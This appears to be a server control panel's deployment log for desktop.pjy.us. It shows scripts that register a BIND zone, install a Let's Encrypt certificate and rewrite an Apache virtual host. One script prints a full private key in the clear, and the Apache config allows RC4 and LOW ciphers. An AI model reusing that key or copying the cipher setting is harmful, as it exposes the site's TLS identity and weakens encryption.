MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= e29c21b46b5393be06f75c34de3e6440
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-06-01 11:04:16: 

PUT: /tmp/pkp108536

#!/usr/bin/python3
import os, grp, subprocess, time
from pwd import getpwnam

#target cache files
HASH = '4e946d31d5dbbaea14c1f8a8cc65c592'
ZONE_NAME = 'pjy.us'
TARGET_FILES = '/var/cache/bind'
LOCAL_FILE = '/etc/bind/named.conf.local'

uid = getpwnam('bind').pw_uid
gid = grp.getgrnam('bind')[2]
try:
	os.chown(TARGET_FILES + '/' + HASH + '.conf', uid, gid)
	os.chown(TARGET_FILES + '/' + HASH + '.txt', uid, gid)
except Exception as ex:
	pass

PAYLOAD = 'include "' + HASH + '.conf"; # ' + ZONE_NAME
#text to insert into local
hash_present = False
with open(LOCAL_FILE) as fp:  
	line = fp.readline()
	while line:
		if HASH in line:
			hash_present = True
			break
		line = fp.readline()

fp.close()

if not hash_present:
	fp = open(LOCAL_FILE, 'a')
	fp.write(PAYLOAD + "\n")
	fp.close()
	# call = old python, 'run' python 3.5+
	subprocess.call(['rndc', 'reconfig'])
else:
	subprocess.call(['rndc', 'freeze', ZONE_NAME ])
	subprocess.call(['rndc', 'reload', ZONE_NAME ])
	subprocess.call(['rndc', 'thaw', ZONE_NAME ])
	time.sleep(3)


2026-06-01 11:04:16: 

chmod 755 /tmp/pkp108536; /tmp/pkp108536; rm /tmp/pkp108536

2026-06-01 11:04:19: 


rndc: 'freeze' failed: not dynamic
zone reload queued




STDERR:
rndc: 'freeze' failed: not dynamic


2026-06-01 11:04:19: 

PUT: /tmp/pkp889932

#!/bin/bash
rndc reload pjy.us 2>&1


2026-06-01 11:04:19: 

chmod 755 /tmp/pkp889932; /tmp/pkp889932; rm /tmp/pkp889932

2026-06-01 11:04:19: 


zone reload up-to-date


2026-06-01 11:04:41: Establishing a remote connection
2026-06-01 11:04:42: 

PUT: /tmp/pkp216332

#!/bin/bash
temp_file=$(mktemp)
chain_file=$(mktemp)
TARGET=4156a23dadb55e7d1d1138ffce1ca22a.crt
CHAINTARGET=4156a23dadb55e7d1d1138ffce1ca22a.chain.crt

cat > $temp_file <<'endmsg'
77:f3:1b:a2:43:09:61:2b:ab:96:fe:57:4b:2c:cd:2f

-----BEGIN CERTIFICATE-----
MIIE9jCCA96gAwIBAgISBpePNiqfm2pl6iXik8lgP+PyMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjIwHhcNMjYwNjAxMTAwNjEwWhcNMjYwODMwMTAwNjA5WjAZMRcwFQYDVQQD
Ew5kZXNrdG9wLnBqeS51czCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AMKPpdx1YUdOtyirdYd7Itkkrgszlz/OXiEgkfdp4SK7iqsJcMScidBkeS6rzQYK
aFeGwzIC7PDBS8JTMjnxnLGS+2qNxPPjViTgrPaJ0TEAMNI3Y8d01p/7a1eo+7kB
XW2M/Spafc2eknZUmYTLkj7yC5dfN39ZK30Hte6CcIWV5FaFFqD2+Exc68oQdNJc
BmY6ngGJeYYWN5n+cnkwGTt+PH6XXGlOcrc2fjX9mgBAq43QG0JQ48czVdhvVQC3
nxSiQGCu8/p4FDQARZeLwR6fZvd95s7yejfQQpm3wqykYR+I56easCVr9NfpBU2T
ObIKgP2uYnTSi6+79Pf1nLMCAwEAAaOCAhwwggIYMA4GA1UdDwEB/wQEAwIFoDAT
BgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBTokuWG
lCUz2J3NqXbMrGUrQRxjlDAfBgNVHSMEGDAWgBRAFS0mee0yIJ7fmnId1jIfgQyB
DDAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly95cjIuaS5sZW5j
ci5vcmcvMBkGA1UdEQQSMBCCDmRlc2t0b3AucGp5LnVzMBMGA1UdIAQMMAowCAYG
Z4EMAQIBMC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6Ly95cjIuYy5sZW5jci5vcmcv
MTE1LmNybDCCAQsGCisGAQQB1nkCBAIEgfwEgfkA9wB2AMijxH/Hs625NWsBP2p6
Em3jOk5DpcZG+ZetOXWZHc+aAAABnoLbcikAAAQDAEcwRQIge6HQ8rpmKjijZjAF
UcKz2xHi6R2Pl+K5xdFatsoxxZoCIQCxwFJjelwwAi+FyBJwauNkIRw5KYazRQ/X
zoSY/88VgAB9AGz+UBlDqF6pFrxS0TPk3Mke8UEcfSWEINFzgJ4YGOs6AAABnoLb
dfEACAAABQAOZngsBAMARjBEAiBI0T9PcojnPK4kxLSAlWShhfvBf8jJJ6SsDXU+
zs7JhAIgDinnR5MrN4wVT55NP4cEI05MmZblJf9y7v2XzWJPhPIwDQYJKoZIhvcN
AQELBQADggEBACl1/eC8fDM2Cdj1UDGb55VaiZ9dKeKXc4EYO2I65Nr+1BpKtGEv
EYPCFploxC0nzlPTc/KWugNd37zQx40vpY6V+Q/tuoI5/trUkfrc9/2/PLP6QuQj
JV42uOOwOol0CtQNwlWuTiScr6vs+0ru5q5y4Er8ZI1ypQHc2ezXcGxGO84m3Uxf
2el7K0I40Q1FYmyp6EL2lFEAbDS69qHmJXy/MOEKoo81FQAV1RF4x28WfWFQPYoT
q2UjE0L+VeLbXzZ2OX+wN9OsMMIJyt+RkC/cQ9OZKd02rgR2XkzJOjQVshYjbTsf
5cm652rzM5KiRFvHlkT+xlX0tKwHvwlJbnY=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDCj6XcdWFHTrco
q3WHeyLZJK4LM5c/zl4hIJH3aeEiu4qrCXDEnInQZHkuq80GCmhXhsMyAuzwwUvC
UzI58ZyxkvtqjcTz41Yk4Kz2idExADDSN2PHdNaf+2tXqPu5AV1tjP0qWn3NnpJ2
VJmEy5I+8guXXzd/WSt9B7XugnCFleRWhRag9vhMXOvKEHTSXAZmOp4BiXmGFjeZ
/nJ5MBk7fjx+l1xpTnK3Nn41/ZoAQKuN0BtCUOPHM1XYb1UAt58UokBgrvP6eBQ0
AEWXi8Een2b3febO8no30EKZt8KspGEfiOenmrAla/TX6QVNkzmyCoD9rmJ00ouv
u/T39ZyzAgMBAAECggEACEGKO0Gr4BfCA/LKqPYbs3UwAX+t8mIycltsdkBC8nNc
3gcnhuBRpMsurUFTEOeOJ/CrBctD/K9nJJbdMcJD8PEYxBvB+Mtz01rJXCja/KZS
bAk3rbYSiXVkx7J/BAm/yi9KauquHfSVqHnMjesJiKxCu6iptTi2dLbIDJfyaGix
9kg41FaAajwaZ1s4oNASThKSpgNHkFpk71+ZlqAKFl6LgBAw7+ZYRqaj11rl61Gl
jKH1IPNLo63UV7CwtdBHe5Qr5TIsLH8QuVOusBG8kDbZFGqOeOu2UtpUt3WYNYRt
0oCB+heN/F5s9jnsGY8eBXDY4Zyji4Bi0SIDZfHGEQKBgQDlG/7lA1JWDNsXkt85
+t+chlHMasQCrPHkJckgjOFXVY3bmMV03HZrlN/Lw920OsCnra0dVWjkl2OgSRKR
iJ2SJYta98RBB98SkIMlQhBq0ZybJj1G7KqB6i/tyvgPj3y+0jwOSwCHPGwtWck7
qvx/wjglEc0tB30s3182gETzSQKBgQDZZZaRqvXY87McV9BMmtm+pHROFUJTz0vK
UOcUCudQ6Uln7gqEZoYVlj3MIQy5qHOCDgZLExG8FRKhQq3TWRSvJRCANaMMLX1e
wqhMRCL/9Z1TklJPG/tEYRTRd4u4WcJYHQivg60GB25OA7Q9TTxG0aPvQaAc1gEc
w5UfrfxUGwKBgQCuLNVgB2Ft98IMLuUzr+yVk2vWSwiOvCn891jrPQ8HFQyOeJsM
l5oTeY+V2mbO4KecEiX8mfTva8Qak9Lg/wpDk/VYh+oUQkatV13MUmgmvQogzTZi
mAOcVoxvbBGfysbcTvnHJ+/T3/ShmZOpn/jrq5yBWgIwjHP2TC6XQXapuQKBgQCs
8mWDgzdMHivKi42Zs8MwKBKin8UBebN4wz3iMv5s3vpX5QaW6B0ZhUmqYEyIUpt5
xoB5LzV3pGgKxEoXDhInd9wVsxYANRw8y60p5zbU2+gKOSij6MXPU1BFh84unbG/
eXGUd7OpTTYSeF3mOtCOIm9BgrrG1fVSlcHHzxkjKwKBgQCJkgy3C7qMZ987BbP4
3Rff7PTi6AeH2+YYGkWOhr03/yjBESpcdAw4M3pWx1prcIyumshiz9DXdu4v28Ee
Zh91npxnf36UO9YTZ9gtlS9D27Whf4K8IAyNfdZ74MFOpYJRNCRIJ89e6KV1DKEG
3uepKW/ckPxW16h5DGo0qN7rWQ==
-----END PRIVATE KEY-----


endmsg

cat > $chain_file <<'endmsg'


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	cp $chain_file /etc/ssl/certs/$CHAINTARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file
rm $chain_file


2026-06-01 11:04:42: 

chmod 755 /tmp/pkp216332; /tmp/pkp216332; rm /tmp/pkp216332



dir=/etc/ssl/certs


2026-06-01 11:04:43: 

PUT: /tmp/pkp658182

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/pjy_desktop_us.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-06-01 11:04:43: 

chmod 755 /tmp/pkp658182; /tmp/pkp658182; rm /tmp/pkp658182

(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/pjy_desktop_us.conf 38

<VirtualHost *:80>
    ServerName	desktop.pjy.us
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/pjy_desktop/public
    <Directory /var/www/pjy_desktop/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/desktop_access.log combined
    ErrorLog	/var/log/apache2/pjy/desktop_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	desktop.pjy.us
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/4156a23dadb55e7d1d1138ffce1ca22a.crt
    DocumentRoot	/var/www/pjy_desktop/public
    <Directory /var/www/pjy_desktop/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/desktop_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/desktop_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-06-01 11:04:44: 

PUT: /tmp/pkp753763

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=pjy_desktop_us.conf
TARGET=/etc/apache2/sites-enabled/pjy_desktop_us.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	desktop.pjy.us
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/pjy_desktop/public
    <Directory /var/www/pjy_desktop/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/desktop_access.log combined
    ErrorLog	/var/log/apache2/pjy/desktop_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	desktop.pjy.us
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/4156a23dadb55e7d1d1138ffce1ca22a.crt
    DocumentRoot	/var/www/pjy_desktop/public
    <Directory /var/www/pjy_desktop/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/desktop_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/desktop_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    SSLCertificateChainFile	/etc/ssl/certs/4156a23dadb55e7d1d1138ffce1ca22a.chain.crt
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/pjy_desktop_us.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/pjy_desktop_us.conf)= /etc/apache2//etc/apache2/sites-enabled/pjy_desktop_us.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/pjy_desktop_us.conf= 1'
fi


2026-06-01 11:04:44: 

chmod 755 /tmp/pkp753763; /tmp/pkp753763; rm /tmp/pkp753763





2026-06-01 11:04:45: 

PUT: /tmp/pkp788209

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-06-01 11:04:45: 

chmod 755 /tmp/pkp788209; /tmp/pkp788209; rm /tmp/pkp788209



.


2026-06-01 11:04:47: Establishing a remote connection
2026-06-01 11:04:47: 

PUT: /tmp/pkp293127

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-06-01 11:04:47: 

chmod 755 /tmp/pkp293127; /tmp/pkp293127; rm /tmp/pkp293127



VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost cityelectric.site (/etc/apache2/sites-enabled/cityelectric_www_site.conf:2)
                 alias www.cityelectric.site
         port 80 namevhost desktop.pjy.us (/etc/apache2/sites-enabled/pjy_desktop_us.conf:2)
*:443                  is a NameVirtualHost
         default server cityelectric.site (/etc/apache2/sites-enabled/cityelectric_www_site.conf:20)
         port 443 namevhost cityelectric.site (/etc/apache2/sites-enabled/cityelectric_www_site.conf:20)
                 alias www.cityelectric.site
         port 443 namevhost desktop.pjy.us (/etc/apache2/sites-enabled/pjy_desktop_us.conf:21)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2026-06-01 11:04:49: 

PUT: /tmp/pkp200891

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/pjy_desktop_us.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-01 11:04:49: 

chmod 755 /tmp/pkp200891; /tmp/pkp200891; rm /tmp/pkp200891

(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/pjy_desktop_us.conf	1363

<VirtualHost *:80>
    ServerName	desktop.pjy.us
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/pjy_desktop/public
    <Directory /var/www/pjy_desktop/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/desktop_access.log combined
